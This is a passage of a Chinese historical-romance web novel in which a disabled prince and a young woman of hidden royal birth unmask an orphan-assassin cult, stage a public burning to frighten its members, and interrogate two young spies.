“跟三三姑娘谈点事,你怎么还不回宫?”裴景明转了转轮椅,侧过身来。
“急什么,晚上再回去,”裴朝朝又看向三三,关切问道,“三三姑娘好点了吗?”
三三微微愣了一下,这公主认识她?
“好多了,多谢公主关心,只是公主怎么会认得我?”三三疑惑道。
裴朝朝弯了弯唇:“三个月前,你在街上替那叫花子出头还记得吗?”
三三凝神想了想,好像确实有那么一回事。
“我当时在街上逛呢,正好瞧见了,记忆犹新。”裴朝朝冲她眨了眨眼。
三三讪笑了声,那确实记忆犹新,毕竟她揍了那个为难叫花子的老头一顿……
“珩清,查到了查到了。”许微澜神情激动,声音不免大了些,引得其余三人都看向他。
裴景明闭了闭眼,感觉耳朵要聋了。
许微澜歉意地拱了拱手,降低了声音:“查到了,那女子是被慈恩寺收养的。”
“慈恩寺?”裴景明睁开眼,这寺庙不是在城外吗?
“对,慈恩寺因为在城外,香火不旺,但寺庙有照料孤儿的传统,朝廷便拨了银子,好让他们继续收养照料那些无父无母的孤儿,”许微澜见桌上有茶水,自己倒了杯,喝完继续道,“那女子本名叫陈湘,进了王府之后改名叫半梦,起初我问方丈有没有叫半梦的,方丈还说没有,我干脆拿出画像,那方丈仔细辨认后才说有这么个人,不过她八岁之后就被人认养带走了。”
“认养?不是说没有养父母吗?”裴景明问。
“对,认养人叫什么无名居士,估计是化名,查无此人,而且,不止她一个人长到八岁之后就被认养,有十几个女子都是。”许微澜继续分享调查回来的情报。
“看来这无名居士就是通天教收养孤儿培养成杀手的中间人,同一人收养了那么多人,方丈没发觉不对劲吗?”裴景明蹙了蹙眉。
许微澜放下茶杯:“可说呢,慈恩寺本来就没什么钱,朝廷拨款是有数的,方丈一早就发现了不对劲,但是有人收养一个,寺庙就能继续收养另一个孤儿,方丈也没办法。”
“无名居士收养的其他人,名单有吗?”裴景明问。
“有,已经派人去抓了。”许微澜得意地挑了挑眉。
11. 教众散四方
裴朝朝见他如此得意,不由得矜持地撇了撇嘴,这人就是爱显摆。
许微澜眼尖得很,一下就发现了,竖眉不满道:“公主你这是什么意思啊?”
裴朝朝露出了端庄的淑女微笑:“许大人,你这话何意?我这是对你的肯定啊。”
“切,裴朝朝你得了吧,我还不知道你,过阵子谢序川就回来了——”许微澜还没说完就被裴朝朝怒目而视,吓得赶紧闭上了嘴。
裴朝朝跟谢序川的婚事可是她的大雷点,许微澜真是哪壶不开提哪壶。
裴景明出声缓和气氛:“好了,嘉言你赶紧去忙吧,朝朝你不是要出去玩吗,再不去天就黑了。”
三三虽然不知道裴朝朝的雷点,但能看出她不喜欢听到谢序川这个名字,于是跟着裴景明的话道:“是啊是啊,公主您还是赶紧去吧。”
裴朝朝拽了拽三三的袖子,低声问:“你要跟我一起去玩吗?”
“我……我还未恢复力气,恐怕去不了,改日吧。”三三委婉拒绝道。
“那行吧,那我自己去。”裴朝朝推着裴景明就出去了,身后的许微澜亦步亦趋地跟着。
裴朝朝心不在焉地推着轮椅,刚刚看三三说话,侧脸看着有点像谁来着……
“二哥,你觉不觉得三三有点像谁啊?”
“嗯?”裴景明冷不防被她这么一问,一时之间竟然愣住了。
“我刚刚跟她说话,感觉她侧脸有点像那个谁,一下子想不起来了。”裴朝朝叹了口气。
裴景明轻声笑了笑:“无妨,你日后想起了记得告诉我一声就行。”
裴朝朝擅丹青,认人很有本事,她若说谁像谁,这两人必定有相似之处,裴景明已经领教过几回了,因此丝毫不怀疑。
人推到了院子,裴朝朝就交给了许微澜,挥了挥手就出门去了。
许微澜瞧着她的背影,低声道:“我刚刚是不是说错话了?”
裴景明觑了他一眼:“你也知道啊?她不喜这桩婚事很久了,别人都不敢在她面前提,你倒是胆子大得很。”
谢序川虽然也是裴景明好友,但这桩指婚,当事人二人都不情愿,奈何明武帝为了践行当年的约定,直接一纸诏书绑定了二人,裴朝朝闹了几回都没能作罢,谢序川虽然谈不上不满,但他对裴朝朝无意,为了避免两人尴尬,自请外放南州两年,算算时间,过年刚好就该回来了。
许微澜嘿了声,拍了拍嘴巴:“我这死嘴。”
裴景明眼底漫起笑意:“谢序川年前应能回到东京城,到时还要给他摆个接风宴,我看这事就你来吧。”
许微澜想了想,摆接风宴倒是没问题,都是从小玩到大的知己好友,问题是请谁啊?
“这摆宴倒是不难,难的是请谁啊?”
“英国公就他这么一个宝贝孙子,自会大摆宴席,你可以提前几天办个小宴,人嘛,就我们几个就行。”裴景明话题一转,又问,“名单上的人都去哪抓了?”
许微澜踢开脚边的石子:“各个王府都派人去了,有遗漏吗?”
“有,十几个人不可能单单去王府,五品以上的官员家里都去搜搜吧,宫里可能也有,我去见陛下,宫里的交给我。”
许微澜不疑有他:“行,那就兵分两路。”
裴景明点了点头,又简单跟他说了上次进宫的事情。许微澜听得生无可恋,本来这案子就难查,贼人全都自刎不说,抓住的活口也犟得死活不开口,这下好了,三个王爷都要插手查案了,他该听谁的啊?!
“那我听你的?”许微澜面上一片平静,仿佛跟死了一样。
“你把这事跟张思齐说一声,加快动作审清案子,否则他们两个一进来,就有的拖了,”裴景明见十一来了,抬手拍了拍许微澜,敷衍安慰了两句,“别着急死,还有的磨呢,抓到人立即告诉我,我同你一起审。”
裴景明进宫见了明武帝,将查到的线索一一告知,明武帝听完,立即让杨公公协助查办宫女。裴景明不方便亲自去,让十一跟着,自己坐在政务殿陪着明武帝看折子——实则是自己悠哉游哉喝茶,明武帝在案前奋笔疾书。
眼见日落西山,余晖洒满了政务殿,渐渐拉长绯门的身影,裴景明在明暗交错间一下一下点着轮椅扶手,旁边的茶盏早已见空。明武帝批奏折批的腰酸肩痛,他转了转手腕,瞥了一眼窝在轮椅里发呆的儿子。
“我瞧你窝得挺舒服的啊。”明武帝心里有点不平衡。
裴景明眼底带上笑意,以前明武帝也多“我”自称,被臣子规劝后才改“朕”,平日私下里跟孩子们聊天也多“我”而非”朕“,当然心情烦躁郁闷时也会板起个脸称“朕”。
”还凑合,地龙烧得热,呆久了不动就想睡觉。”裴景明懒洋洋道。
明武帝喉头一哽,烧得热吗?那不是因为他批折子批得手冷心冷的!
“最近天寒,腿怎么样?”明武帝放下笔,踱步走到他身边,俯身稍微用了点力捏了捏他僵死的双腿。
裴景明面上一片平静,仿佛没有感觉,笑了笑:“偶尔酸痛,泡药浴能缓解一点。”
明武帝心里叹了口气,当初要是不由着他上战场就好了……
杨公公疾步赶回来临到门口时,见明武帝父子二人正聊得正欢,特意放轻了脚步,就候在门边等着,奈何他那身影实在明显,明武帝一偏头就发现了他。
“怎么样?查到什么了?”明武帝背手踱步回到案前。
杨公公垂手行礼,低声答话:“查到了两个,分别在叶贵人和纯妃娘娘那。”
叶贵人刚进宫不久,有新人侍女,倒是不足为奇,只是纯妃娘娘是老人了,又是康均王的生母,怎么会有这种侍女呢?
明武帝重新提起了笔,倒是看不出是否生气,在奏折上批了两个字才道:“珩清,去吧。”
裴景明应了声是,行了礼就跟着杨公公提人去了。
十一早就将人给五花大绑起来了,见裴景明来了,立即将人丢上马车,往大理寺刑狱去。
许微澜那边动作也快,分别在几个大官家里和王府上搜出十来个人,裴景明的元安王府也有一个,五三等人知道后直呼家里闹贼了,又重新彻查了一番王府。
眼下大理寺狱可真是关满了人。
张思齐来来回回踱步看着这些二十来岁的女子,心里一个劲地叹气,这都什么事啊!
许微澜很是理解地拍了拍他肩头,安慰道:“张兄,没事的,至少人都抓完了,暂时也不会出什么大事。”
裴景明进来时,见他二人在那互相安慰,不由好笑了起来:“二位大人,安慰暂且搁一边,先审审吧。”
张思齐上前弯腰行礼:“王爷,这么多人,要怎么审啊?”
裴景明从兜里掏出了张纸,递给他。
张思齐打开纸,许微澜也凑过去看,只见上面记载了这些女子的年龄、在哪家府上干活、干了多久等详细信息,二人立刻就明白了裴景明的意思——先审年纪小的,干活不久的。
张思齐”啪“地一下合上纸,激动道:“我二人这就去!多谢王爷!”
裴景明点点头:“去吧,那个叫陈湘的,我
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先带回府上,明日就送回来。”
许微澜大手一挥:“好说,人别丢了就行。”
裴景明朝十一看了一眼,十一动作很是麻利地打晕那女子扛起就走。
元安王府上因为进了通天教教徒的事,五三和二七不放心又重新仔仔细细、里里外外查了府上所有人的户籍资料,忙活了大半天终于排除没有内贼了,两兄弟终于将心放在肚子里,累得靠在石凳上双目无神地直直发呆。
三三喝了药,在院子里溜达的时候远远看到他二人这副模样,偷偷笑了笑,怕被发现赶紧绕过圆拱门往东边去了。
十一扛着人回来的时候正好撞上三三,三三敲见那身熟悉的衣服,立即反应过来:“这是要抓我且给我下毒的那人?”
裴景明从十一身后缓缓滑着轮椅过来,见她这副模样,不由得笑了起来:“是啊,带回来问话,可能需要姑娘帮忙。”
“??”三三满脸疑惑。
“你来刺激刺激她,说不定她就愿意开口了,”裴景明慢慢滑到她跟前,抬头看三三,一本正经道,“姑娘放心,有酬劳,二十两如何?”
“好,成交!”三三立马应下,跟着十一就走。
裴景明眼疾手快地拉住她手腕,劝道:“不着急,先让神医给她喂点药,免得她武功恢复要了你命。”
裴景明的手挺好看的,手指修长有力,隔着衣服都能感受到触感,三三有点不自在地挣了挣手腕,裴景明见状立马收回了手。
褚神医今日喝了美酒,心情很是美妙,被十一叫过去的时候脸上都还扬着笑。
他给陈湘喂了绵绵丹,又扎了几针,完事后拎起酒壶又喝了几口,见三三已经恢复地差不多了,还叮嘱了几句,随后背过手悠哉游哉地走了,很有事了拂衣去,深藏功与名的潇洒感。
三三觉得这神医怪有趣的,盯了一会背影就回神问裴景明:“她怎么跟之前长得不一样啊?”
裴景明双手交叉放在腿上:“之前戴了人皮面具。”
“哦,那我要怎么刺激她啊?”三三又问。
裴景明松开手,倒了两杯茶,潺潺间只听他道:“不知道,姑娘看着办就行。”
“……这我哪知道要怎么刺激她啊?”
“她费劲心思抓你却不杀你,肯定是收到指令要活捉你,除了你此前捣毁他们窝点阻断他们祭祀仪式,你还有什么特别的身份或者行为,值得他们抓你吗?”裴景明面上带着笑意,但三三一眼就看穿了他在试探。
三三正视他的眼睛,面不改色道:“没有,我就是一个普通老百姓,有什么特别的,抓我就是为了报复我呗,之前那群贼人还说让我做祭祀的第一批供品呢。”
裴景明微微挑眉:“嗯?”
“我之前受伤就是因为被抓之前跟他们打了一架,没打赢,他们气急败坏说要让我做第一批祭祀品。”三三不欲多言,三言两语敷衍道。
裴景明笑了笑,没有说话,两人就这么相对坐着,一言不发地看着还未醒的陈湘。
约莫一盏茶的时刻,三三坐不住了。
有点尴尬。
三三蜷手抠了抠掌心。
反观裴景明倒是很自在,恍若察觉到了三三的尴尬,他喝了几口茶就双手交叠开始闭目养神。
三三盯了他几秒,而后者不为所动,仿佛睡着了一般,顿时舒了口气。
真睡假睡都行,别四目相对就行。
三三微微侧身盯着陈湘,冷不防这人已经醒了,还瞪着个大眼,面上写满了不甘,没忍住直接说了句:“哎我的老天!”
12. 通天教往事
裴景明听见惊呼,霎时睁开了眼,循着三三的视线看去,只见陈湘眼睛瞪得更大了。褚神医给她施了针,她只能动弹面部,手脚是一点力气都使不上,如此更显怪异了。
三三吓得身子向后仰了仰,差点一屁股坐空,还好裴景明不知道什么时候滑着轮椅溜到了她身侧,抬手支住了她肩膀。
三三定了定神,瞅了一会陈湘,心里盘算着要怎么刺激她开口。没成想,这人倒是先骂上了三三——
“你这个贱人,要不是你,祭祀仪式怎么会中断!教主的寿命就不会平白少了十年!我要杀了你!我要杀你了!!”
她脸上一片狰狞,完全看不出当时挟持三三的温柔,虽然可能是因为摘了面具,但这也差得太多了吧,三三想,人皮面具难道还能隐藏性格?
“既然要杀她,为何又要挟持她?”裴景明打断她的发疯,冷冷发问。
陈湘的谩骂声戛然而止,跟拥有双重人格一样,又恢复了在狱里半死不活的模样。她心里清楚得很,裴景明声明在外,是个极擅长抽丝剥茧的人,和三三对话也好,谩骂也好,都可以,但裴景明不行,无论是问话还是表情,都不行。
三三见她这副模样,不由得心里诽腹道,这人该不会是有什么病吧?
裴景明见她不回话了,也不恼,自顾自说了起来:“祭祀仪式是为了给你们教主续命,那她中断了仪式,想要恢复计划内的寿命,需得抓到活的人,然后呢?火烧活人还是千刀万剐让你们教主吃了她?”
三三盯着陈湘,发现在听到后面那句话时她面部表情有些许波动。
“你们先抓的我,还怪我中断你们仪式,就你们这种活人祭祀的邪恶教会早就该灭绝了!”三三趁机插话。
果然那女子一下又激动了起来,眼珠子瞪得仿佛要掉了出来,恶狠狠道:“你才该死!当初就应该先毒得你半死不活的,也就不会被这元安王抓了!”
三三不甘示弱,拿出了平日里跟人吵架的气势:“你放什么狗屁!你们作恶多端害死了多少无辜少女,还有脸说我该死,你们才最该死,你们教主更该死!就应该让元安王把你拉出去挂城门口上示众,等臭鸡蛋烂菜叶子潲水都扔你身上了,你才知道谁最该死!”
“你!你不准诅咒教主!贱人!我要杀了你!”陈湘眼眶都瞪红了,森白的牙齿气得上下抖动,仿佛下一刻就要暴起掐断三三脖子,但没过多久,她居然冷静了下来,甚至还哼笑了声。
“你以为你能逃过吗?你以为你的先生能逃过吗?”
三三脸色倏然大变,箭步上前卡住了她脖子,冷声问:“你什么意思?”
陈湘顿时脸色涨红,太阳穴青筋突起,眼球一瞬布满了红血丝,但嘴角依旧挂着挑衅的笑容。
“晋……王无德……灭……灭我……教众……”陈湘死死咬着牙,三三见她白眼不断上翻,猛然松手,后者头一歪竟然昏死了过去。
裴景明一直没有出声,就坐在身后,见人没声了,才探过头问:“她这是晕了?”
三三心神有点乱,晋王?按照程书的说法,她是前朝公主,前朝不就是大晋吗,晋王,是她父亲?!
裴景明见她魂不守舍的,抬手在她眼前晃了晃:“三三姑娘,你……”
“王爷,我有点事,先出去一趟,晚点回来。”
三三撂下这句话,旋即头也不回地就走了。
裴景明朝屋顶看了一眼:“跟着她。”
三三出了王府,特地回了一趟酒楼但没有进去,又绕着其他几条小路走了一圈,确认没人跟着之后,抄近道往旧书铺去。
旧书铺往日都要开到日暮,夏日会开久一点,冬日短一点,眼下太阳还没落山,但书铺关门了。
三三眼神沉了沉,绕到书屋院子后面翻墙进去。
院子里安静得很,气氛压人,周遭寂静得让人心慌,往日里风吹落叶的声音在此刻显得如此嘈杂又瘆人。三三手里拿着匕首,脚步轻得如同没有声音,像猫一样缓缓靠近里厅,突然墙上出现了一排排弓箭手,里厅的门“唰”地一声打开,眨眼间就涌出了大批反光的利刃。
程书站在黑衣人中间,见来人是她,赶紧吆喝着众人放下刀。
“放下放下,是殿下,是殿下,不是那群歹人。”程书朝着众人挥手向下压,墙上的弓箭手一瞬就没了影,门口的人迅速收起了刀。
程书上前朝三三行了个礼,又让其他人退下,随即伸手朝里,迎三三进去:“殿下,进屋说。”
程书拎过茶壶,手在壶壁上试了试,温度刚好,便拿过桌上的杯子给三三倒茶。
“先生,这是怎么回事?”三三接过茶杯。
程书掀起袍子坐在另一端,缓缓道:“那晚殿下来过之后,第二天这里便被通天教的人给围杀了,好在之前为了找殿下,我布置好了些人手在附近,那天天一黑厮杀就开始了。”
“先生可有受伤?”三三惊得放下茶杯赶紧看了他几眼。
程书摆摆手,捋了捋胡须,朗声笑了几声:“殿下放心,我没事,别说备了人手在这,就算没有,我也有点武艺傍身,他们伤不了我。”
三三放下心来,犹豫了下,又问:“是跟着我才——”
“说不准,也可能是他们早盯上我了。”程书怕她多想,赶紧出声打断。
三三一下子就想到了陈湘说的话,将配合裴景明抓人的情况简单说了下:“那女子说晋王无德,灭我教众。先生,她这是何意?”
程书微微低头瞧面前那盏茶,似是透过那水面看到了往昔。
“二十年前,大晋还在,距离被大楚吞并也还有两年,殿下那会还没有呢,”程书勉强笑了笑,“当时先帝沉迷于修仙论道,对神月教颇为信赖,神月教是通天教的死对头,二者积怨已久,神月教在皇宫内谗言媚主,不断打压通天教,通天教则在民间发展,言先帝无德致百姓遭难,先帝听到这些言论,大发雷霆,加之神月教的教唆,便下令剿灭通天教。最后两年内,通天教元气大损,加之后来大楚的吞并,更加溃不成军了。”
“那陈湘的意思,便是言先帝剿灭通天教是无德。”
三三听得入神,忽然福至心灵:“难道她知道我是谁,故而通天教的人才会绑我?”
虽然她一直以来都不太相信程书说她是前朝公主,但有些细节她又无法辩驳,久了竟然有点相信他的说法了。
程书捋着胡须,微微眯了眯眼:“不好说,她应该知道我是前朝人,怕是见殿下经常我来这,怀疑您也是前朝人罢了。”
“那就是说她痛恨前朝人,加上我之前坏了他们的祭祀,新仇旧恨加一起,所以要活捉我回去折磨?”
“确实有这个可能。”程书放下捋胡须的手,发现竟然掉了几根,心痛地捻了捻。
三三重新端起那盏茶喝了两口,茶叶漂浮在水面,看不清她映下的眼。
“先生,现在陈湘对于通天教的事情只字不提,见到我也只是一直谩骂,该怎么才能让她开口呢?”三三本来不想问的,但是程书说了通天教的前后因果,想来这些人是不会放过她的,与其坐以待毙,不如主动出击。
程书边提壶给她的茶盏续水边道:“通天教这二十年来应该恢复了些元气,培养孤儿杀手倒是一招好棋,孤儿无亲无故,对她们洗脑也很
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容易,想要问出点东西怕是难了。”
他放下茶壶,神秘一笑:“根据殿下描述的这个人,显然已经是教会里面的老人了,与其等着她开口,不如杀一儆百,吓唬吓唬那些年纪小的,说不定有收获呢。”
三三顿悟,双手抱拳行了个礼。
“先生,时候不早了,我得先回去了。”三三起身道。
“那我送送殿下,对了,这个拿着。”程书从袖兜里拿出个小盒子递给三三,三三接过打开一看,里面是颗黑不溜秋的药丸。
“这是?”
程书笑道:“保命丸,可珍贵着呢,受伤严重或者中毒了立即服下,十二个时辰内可保你性命无忧。”
三三将盒子收好,郑重道了声谢。
三三回到王府时,天已经黑了。
裴景明让人在院子里摆了晚饭,三三路过东边的院子时就被他叫住了。
“三三姑娘,用过饭了吗?”裴景明坐在轮椅上,嘴角勾起笑容,朗声道,“没用过的话,不如一起?”
三三本来已经过了圆拱墙半边了,被他这么一喊,犹豫了下还是倒退回去了。
“王爷这么好兴致?”三三坐下接过侍女递来的手帕擦了擦手。
“还行吧,审不出来就算了,饭还是要吃的。”裴景明微微抬头,示意旁边的芍药给三三布菜。
三三起初还没反应过来,直到芍药将菜放她碗里了才恍然大悟。是了,传闻中大户人家都这么吃饭的。
她赶紧拉住芍药:“芍药姐姐,我自己来就行。”
芍药拿着筷子的手一顿,抬头看向主座上的裴景明,后者挑了挑眉,微微点头。
芍药便放下筷子退到了一旁。
三三一来一回的,耗了不少精力,这王府的菜做的真是色香味俱全啊,本来没感觉到饿的,一坐下那香味就扑鼻而来。
三三看了看裴景明,见对方已经吃起来了,便放松下来开始吃饭。
饭桌上两人各怀心思的消灭了大半饭菜。
裴景明比三三早一点放下筷子,吃完便开始看三三吃。
三三吃相尚可,算不上斯文,但也不邋遢,只是进食速度略快,想来也是因为平常在酒楼打工,吃饭时间短的缘故。
裴景明就这么看着,突然耳边响起了裴朝朝的话——她像某个人。
这话不假,但是谁他也想不起来。
三三放下筷子的时候,一抬头就看到裴景明两眼直愣愣地看着她,一时之间不知道该说什么,于是略微大声地清了清嗓。
裴景明眼底带着笑意,嘴角扬起的幅度很明显。
“姑娘吃完了?”
三三点点头,侍女们很有眼力见地开始收桌上水果甜点。
裴景明又问:“姑娘回家有什么收获吗?”
三三本来盯着那碟精致的南瓜糕一动不动,闻言眼神一顿,他这是什么意思?
“你派人跟踪我?”三三决定先发制人。
裴景明面上一片诚恳:“非也,我只是怕那些人报复你,怕你势单力薄的打不过,这才让人暗中保护你。”
“……跟踪就跟踪,说得那么冠冕堂皇做什么。”
裴景明笑笑不说话。
三三捻起块南瓜糕,闻了闻,还挺香,一口咬下去却发现甜得要命。
“咦,太甜了。”三三面上一片嫌弃,赶紧喝了口水。
“姑娘还没回答我呢,有什么收获吗?”裴景明又问。
三三三两下吃完剩下那点南瓜糕,又赶紧送了口水,一番操作下来,终于嘴巴得空回答他了。
“我觉得吧,不如杀鸡儆猴。”
13. 杀鸡儆些猴
夜色渐凉,十一给裴景明罩上了披风。
“是个好主意,”裴景明拢了拢披风,“许大人那边的审问结果也不尽如人意,或许杀鸡儆猴才能掏出点东西。”
三三盯着桌上那盘粉白色的糕点,正犹豫着要不要尝试一下,但又怕跟南瓜糕一样甜,裴景明循着她的视线望去,笑道:“这是桃片糕,还可以,不是很甜,姑娘可以试试。”
三三有点不好意思,收回了视线,继续刚刚的话题:“那就明日把人拉上长安街最热闹的地方,先宣读通天教的罪名,然后再将她直接砍头行刑?”
裴景明想了想:“这样是不是有点便宜她了?他们不是爱搞活人祭祀吗?那就以其人之道还治其人之身,姑娘觉得呢?”
三三终于决定尝试这块桃片糕了,她轻轻捻起最旁边那块糕,闻言动作一顿:“我觉得王爷说得对。”
裴景明笑意更深,为了让她自在点,便让十一推自己回房,留下三三自己一人继续琢磨桌上那些糕点。
“王爷,那三三前后两次去的都是城外那个旧书铺,”十一关上窗,避免寒风继续吹进屋子里,“书铺主人是个白发老翁,姓程,叫程书。”
“程书?”裴景明有点惊讶,这名字跟前朝那位太傅倒是一模一样。
难道是巧合?
“有画像吗?”裴景明问。
十一摇了摇头:“还没有绘制,需要五三他们带人去看看吗?”
裴景明思虑片刻,才缓缓开口:“嗯,不要太招摇,带画师去看回来绘制即可。”
十一颔首了然,正要出门去找五三交代这件事,裴景明又叫住了他:“把许微澜和张思齐叫过来。”
十一再次颔首,抬脚就走。
“你是说明天直接——”许微澜抬手在脖子上横了一下,“杀啊?”
裴景明懒懒扫了他一眼:“是烧,不是杀,见血吓着老百姓怎么办。”
“……就烧陈湘一人?”许微澜问。
“嗯,杀鸡儆猴,”裴景明视线扫过端坐一旁的张思齐,“二位大人审了半天,就连年纪最小的也不肯开口,可见她们对这个通天教的忠诚,只有刺激刺激她们,才能知道忠诚到底有几分。”
张思齐进了屋后就一直沉默,这会终于开口了:“王爷说的对,眼下也没有其他更好的办法能让她们开口了。”
许微澜探了探身子:“那明日什么时辰呢?”
“午时吧,那会人多。”裴景明道。
许微澜点点头:“了然了然,那我二人这就去准备。”
裴景明笑了笑:“那就有劳二位大人了。”
次日早上,街上来往吃喝买卖的男女老少都在讨论午后要行刑的事情。
卖羊肉汤的老板忙得不可开交,客人要边吃边聊,这边刚上一碗羊肉汤,那边又叫了一份羊肉粉。
“诶老弟,你可知道,今日午后要行刑的是个女子,据说就是前阵子掳了好多女子去做祭祀品的那个什么教,总之就是个王八蛋教,害了好多人家,”这人说着说着又端起了碗,稀里呼噜地喝了两口还冒着热气的羊肉汤,抹了把嘴又继续道,“好在官府给力,没多久就抓到了这个教的,额,算不上老大,但也是管事的吧,总之,今日杀了这人,真是爽哉!也算是给那些遇害的女子一个交待了。”
说着他又叹了口气,继续端起碗喝汤。
旁边那人边听他说边吃羊肉粉,见他停了问了句:“老哥,我怎么听说是要烧死那人呢?行刑场那早上就堆了满官府的人在铺柴。”
那老哥囫囵喝完了碗里的汤,砸巴砸巴嘴:“是啊,我听我老婶家的那个表妹的哥哥的侄子说,督办此案的大人说这叫以什么什么之身还什么什么道来着。”
“以其人之道还治其人之身。”那老弟终于把最后几根粉吃完了,慢悠悠地把那句话给补完整。
老兄伸出大拇指比了一下,笑了笑:“诶对,要不说你是这个呢。”
午时刚过,行刑场上就挤满了人,虽然众人脸上的表情不一,但愤怒居多,每个人手里都拿了破菜叶子、臭鸡蛋等东西,甚至有人端了潲水。
陈湘早早就被绑在了木柱上,脚边是一堆干草,底下是围成一圈的干柴,上门还淋了火油,干草和干柴之间层层递进,跟他们火烧活人祭祀一模一样。她冷笑了声,虽然身形瘦弱,面上却一副倔强,始终睥睨着下方的百姓。
下方的百姓原本还在议论,一看她这副模样,顿时被激怒了,混乱嘈杂中不知道是谁率先扔了个臭鸡蛋,一石激起千层浪,顿时各种菜叶子、鸡蛋什么的都纷纷扔向陈湘,甚至有人扔了石头。粗糙的石块砸破额头时,陈湘终于变了变脸色,但很快又恢复了那副睥睨众生的模样。
张思齐在官兵的护卫下,从浩浩荡荡的人群中挤上前方,打开手上的罪状纸开始宣读:“今有通天教教徒陈湘,绑架无辜少女以作供品,行邪恶祭祀之礼……“
他的声音不大,但字句清晰,下方的百姓越听越激动,扔臭鸡蛋扔得更卖力了。
”砸死她!“
“这种恶人就该下地狱!”
“呸!砸死这贱人!”
“……今朝已捕罪犯陈湘,行火烧之刑,以慰冤魂在天之灵,以抚无辜百姓之痛。”张思齐在怒火朝天的谩骂中终于宣告完了罪状。
他踮了踮脚,往人群后面望去,只见许微澜重兵把守在另一边,身前扎满了那些之前被抓到的女教徒。
裴景明的轮椅在更前面一点,身后站着的除了十一,还有三三。
张思齐费劲巴拉地向上探着个脑袋望向裴景明,几番蹦跶下来,终于借着身旁官兵的肩膀奋力一跃,远远瞧见轮椅上的裴景明点了点头,赶紧举手大喊:“乡亲们!都往后退!别扔了!要开始行刑了!”
乡亲们还在气头上,根本没多少人听见,张思齐无奈,只好跟左右商量了一下,几个人一起大喊:
“都往后退!要行刑了!”
三三本来正低头捣鼓衣摆下面那根多出来的线,听见要行刑了便松手抬头直直看向陈湘。
不知道是巧合还是故意,三三一抬头就发现陈湘也在看她。
裴景明也看着陈湘,他本来以为陈湘看的是他,但只一瞬就察觉到——她是在看三三。
他默不作声地从袖兜里掏出核桃开始盘,咔嚓、咔嚓的碰撞声并不大,但三三离他挺近的,还是听见了,眼神向下一瞟,嘴巴翕动了一下。
张思齐从官兵手里接过火把,看了一眼陈湘,见后者一脸无畏,直接向下斜过火把点火,那干柴上面都是油,甫一接触火源,眨眼间就迅速扬起火势,火舌攀爬向上,没多久就升起了黑烟,烟雾朦胧中,百姓们依旧在扔东西砸陈湘。
陈湘额头破了,太阳穴一片红,血液顺着脸廓淌到下巴,滴答滴答往下流。她身上都是臭鸡蛋味,哦,不对,还有不知道囤了几夜的潲水味。
她扯了扯嘴角,不知道是在笑下面的百姓还是笑自己。
她在漫天的骂喊声中直勾勾盯着三三。
三三也不怵,直勾勾地盯了回去。
火势渐大,下方的干柴已经蔓延到上一层的干草了,官兵们横起长枪围成了一圈,指挥着百姓往后退。
”她怎么一直在看你啊姑娘?”裴景明饶有兴趣地问了一句。
三三心想,盘你的核桃去吧,问那么多做什么。
想是那么想,但她还是很礼貌地回答了:“不知道,可能是被我之前说中了,她不服气?”
裴景明忍不住笑出声:“那还真是有可能,说不定觉得你比她们教主还厉害,预言得那么准。”
“……你说是就是吧。”三三额头前的头发长
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长了,向后捋去又很快掉回前头,她向右偏了偏头,头一甩把那两根头发又甩向后方。
许微澜站在另一头,时不时打量剩下那些女教徒,只见大部分人都偏过了头,不敢看那熊熊燃烧的火场,几个年纪小点的,甚至小声哭泣了起来。
他又看了两眼,记住了那两个哭得格外伤心的女子。
火舌舔过陈湘的衣摆,霎时就将她整个人都点燃了,黑烟缭绕间,只闻百姓声声。
午时火场上的事情依旧在街上讨论得如火如荼,百姓们对这种邪恶的教会都恨得牙痒痒。
裴景明回到府上时,许微澜提了那两女子就跟着过来了。
“珩清,这两人,刚刚哭得可惨了,我猜有戏。”许微澜凑到他身边低声道。
裴景明抬眼望向站在院子里带着手脚镣铐的两名女子,朝十一抬了抬头:“把三三姑娘请过来。”
许微澜歪头纳闷道:“为什么要叫她啊?她能干啥?”
裴景明瞟了他一眼:“自是有用。”
“……”
许微澜推着轮椅到门口时,三三就跟着十一过来了,一群人就这么打量那两个看起来才十四五岁的女子。
三三瞅了瞅对面两人,又瞅了瞅跟自己站一边的两人,见他们都不开口问话,也双手交叉抱胸沉默不语。
许微澜本来站在裴景明身后,想了想又挪了几步站到裴景明身侧,清了清嗓,率先开口问话:“你们二人,姓甚名谁,都在通天教里是什么角色?为何要潜入官员和王府家中作侍女?都老实交代清楚啊,不然今日的陈湘就是明天的你们!”
最后一句话掷地有声,响彻整个院子,直接吓得二人扑通跪地。
短暂的寂静间,只见左边那个女子率先开口,哭哭啼啼道:“我,我叫苏云,是被无名居士领养的。”
右边那女子紧接着道:“我,我也是,我叫文心。”
“你们二人什么时候进的通天教?”许微澜面无表情地问道。
“是前两年,居士说进通天教之后就可以给我们介绍活干,我见有钱赚,便答应了。”苏云带着哭腔道。
文心在一旁连连点头:“就是这样,我们进去之后没多久,陈湘就发布命令,说会给我们安排进去王府和大官家里干活,吃香的喝辣的,我们只需要将府上发生了什么,以及,以及想办法进书房找,找点陈湘要的东西传递回去就行。”
“陈湘能发布命令,她是什么身份?你们都传递了什么?”许微澜又问。
苏云抹了把脸,稍微收了收哭腔:“陈湘是教主的义女,主要负责发布命令让人执行。我在宁北王府上做事,陈湘之前让我给她找个图,叫什么名我真的记不起来了,我没找到,还差点被宁北王发现,便不敢再轻举妄动了。”
她说完,众人便看向文心。
文心在众人的目光下瑟缩了下:“我,我在王丞相家里做事,陈湘让我给,给丞相下毒。”
“什么?!”许微澜顿时瞪大了眼睛,怒斥道,“你给王相下了什么毒?”
文心瑟瑟发抖,竟然哭了起来:“是,是草乌头,药,药是陈湘给的,因为王相一直在喝中药调理身子,她便让我每次都在煎药时加点料。”
王相可是个一心为民的好官,许微澜气得箭步上前,扬起的手却几番都没落下。
十一上前拉回了暴怒的许微澜,裴景明看了他一眼,示意他冷静。
“那料是药材还是药水?”裴景明问她。
文心点点头,脸上都是泪痕:“是药材。”
“我记得一般人家,煎药的药渣都有保留,十一,你赶紧带人去王相家把药渣带回来给褚老看看。”裴景明侧脸吩咐了句。
“那你们为何要抓女子祭祀呢?”三三提出了自己得疑问。
“因为,因为教主要续命。”
14. 三分醉演技
“怎么个续命法?”三三赶紧追问。
“我,我也不知道,我听陈湘她们说过,教主因为二十年前受了重伤,为了恢复身体,每隔几年都要举办一次祭祀,把活人烧成炭后,研磨成粉状烹煮之后喝下就行。”文心边哭边道,“我,我从来没有参与过绑架祭祀的事情,能不能从轻,从轻处罚我啊?”
三三听到那个做法,不由得皱起了眉头,这什么恶心又缺德的法子。
